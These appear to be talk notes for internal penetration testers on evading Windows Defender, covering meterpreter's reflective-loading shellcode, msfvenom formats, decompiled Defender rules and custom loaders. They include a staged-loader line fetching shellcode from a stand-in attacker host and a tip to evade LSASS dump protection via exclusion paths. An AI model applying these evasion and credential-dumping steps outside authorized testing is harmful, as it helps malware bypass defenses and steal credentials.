# "hello, can u please turn off AV?"

## Overview
|-> targeted at internal pentesting, red team engagements will more often than not require more thoughtful evasion and may be client specific (EDR evasion)
|-> when performing internal pentests, the client may not always give you the luxury of disabling security solutions
|-> this is because you'll be operating in a production environment, where disabling security solutions for even a couple days can be difficult
|-> rather than relying on your clients throwing you a crutch, you should be able to perform your engagement under these circumstances

## What is Anti-Virus?
|-> security solution to mostly catch low-hanging fruits (i.e malware used in large-scale phishing campaigns, skids copying stuff off github, etc.)
|-> mainly functions in 2 ways: static analysis & dynamic analysis
|-> some niche features like cloud and frequency analysis
|-> (in my opinion) AV evasion is frequently misunderstood, evading AV should not be viewed the same way as evading EDR
|-> in order to evade just AV, you don't need novel TTPs
|-> you just need to understand how your tools work, and how you can utilize them in other ways
|-> this talk will focus on just Windows Defender, these same TTPs may not work for other AV solutions but the methodology remains the same

## How does meterpreter work?
|-> meterpreter is a shared library (metsrv.dll)
|-> on it's own, metsrv.dll can be very easily signatured; so we needed a more "customizable" solution that can also be loaded in memory
|-> the industry standard for this is shellcode, or PIC.
|-> for the past couple years, meterpreter achieved this using a technique known as sRDI (Shellcode Reflective DLL Injection)
|-> sRDI (Shellcode): ( DOS->EntryPoint ( ReflectiveLoader ( metsrv.dll ) ) )
|-> This allowed meterpreter to be "exported as shellcode", where there are a lot more diverse ways to load the meterpreter beacon

## Meterpreter Formats
|-> the `--format` flag in msfvenom allows meterpreter to be "compiled" as many different formats; this seems magical, doesn't it?
|-> with reference to what we just discussed, "meterpreter" simply be treated as shellcode
|-> the different "--format" options are simply shellcode loaders!
|-> ... just show a couple different format outputs, and show that its all just shellcode loaders ...

## Industry "Norms"
|-> this same technique of sRDI is used for many, many frameworks (see: Cobalt Strike, Havoc, Sliver) and has been the industry norm for ages
|-> msfvenom's "--format exe" attaches a basic CreateThread shellcode loader to load the meterpreter shellcode
|-> Default_Ldr ( CreateThread ( DOS->EntryPoint ( ReflectiveLoader ( metsrv.dll ) ) ) )
|-> as you can imagine, this is extremely signatured and will pretty much never work out of the box
|-> thankfully, you can export meterpreter as raw shellcode with "--format raw"
|-> ( DOS->EntryPoint ( ReflectiveLoader ( metsrv.dll ) ) )
|-> naturally, you can write your own shellcode loader!
|-> Jess_Ldr ( NtQueueUserAPC ( DOS->EntryPoint ( ReflectiveLoader ( metsrv.dll ) ) ) )

## Understanding Anti-Virus
|-> windows defender has been decompiled in the past: https://github.com/hfiref0x/WDExtract
|-> reading the decompiled code can help us understand how AV works, although it may not be accurate today
|-> for example: https://github.com/HackingLZ/ExtractedDefender/blob/main/decompiled_unsorted/19657.luac.dec
|-> this detection shows basic competence i.e (they attempt to base64 decode the sample, etc.)
|-> then looks for basic identifiers of sRDI (note the detection of the "MZ" stub?)
|-> static analysis is not _that_ bad
|-> dynamic analysis is also commonplace: https://github.com/HackingLZ/ExtractedDefender/blob/main/asr/9e6c4e1f-7d60-472f-ba1a-a39ef669e4b2
|-> WDEG prevents the dumping of LSASS (credentials are stored here)
|-> but we can also see the limitations, there's a list of exclusions in that same file
|-> moving your lsass dumper to one of the exclusions is enough to evade it
|-> understanding the techniques adopted by AV, and the limitations will ensure that you do not unnecessarily burn your TTPs; and dev time is reduced to the bare minimum

## Loading Shellcode
|-> provide a means for operators to customize the "entrypoint" of their malware
|-> shellcode can either be embedded directly in the loader (stageless), or the shellcode can be retrieved from a remote server (staged)
|-> generally, your staged loaders should be: Jess_Ldr ( NtQueueUserAPC ( HTTP_GET_RAW ( http://attacker.jess/shellcode.bin ) ) )
|-> msfvenom ... -f raw > shellcode.bin
|-> shellcode.bin: ( DOS->EntryPoint ( ReflectiveLoader ( metsrv.dll ) ) )
|-> stageless loaders would be: Jess_Ldr ( NtQueueUserAPC ( DOS->EntryPoint ( ReflectiveLoader ( metsrv.dll ) ) ) )
|-> or simplified to: Jess_Ldr ( NtQueueUserAPC ( shellcode.bin ) )

## Writing your First Loader
|-> do it first with no AV enabled, just to see how it works (CreateThread)
|-> use gocheck/threatcheck to identify *why* AV marks it as malicious
|-> weird things can happen, i.e sometimes XOR is identified as Cobalt Strike (because of how much they abuse it)
|-> more often than not, the detection is in the shellcode
|-> you can either *stage it*, or *encrypt it*
|-> decompiling your loaders, checking for malicious bytes, recompiling, rinse & repeat

ref: https://attl4s.github.io/assets/pdf/Understanding_a_Payloads_Life.pdf
ref: https://github.com/monoxgas/sRDI
ref: https://github.com/stephenfewer/ReflectiveDLLInjection
ref: https://www.rapid7.com/blog/post/2015/03/25/stageless-meterpreter-payloads/
ref: https://github.com/HackingLZ/ExtractedDefender
ref: https://adamsvoboda.net/extracting-asr-rules/
ref: https://x.com/_xpn_/status/1491557187168178176
ref: https://github.com/rasta-mouse/ThreatCheck
ref: https://github.com/gatariee/gocheck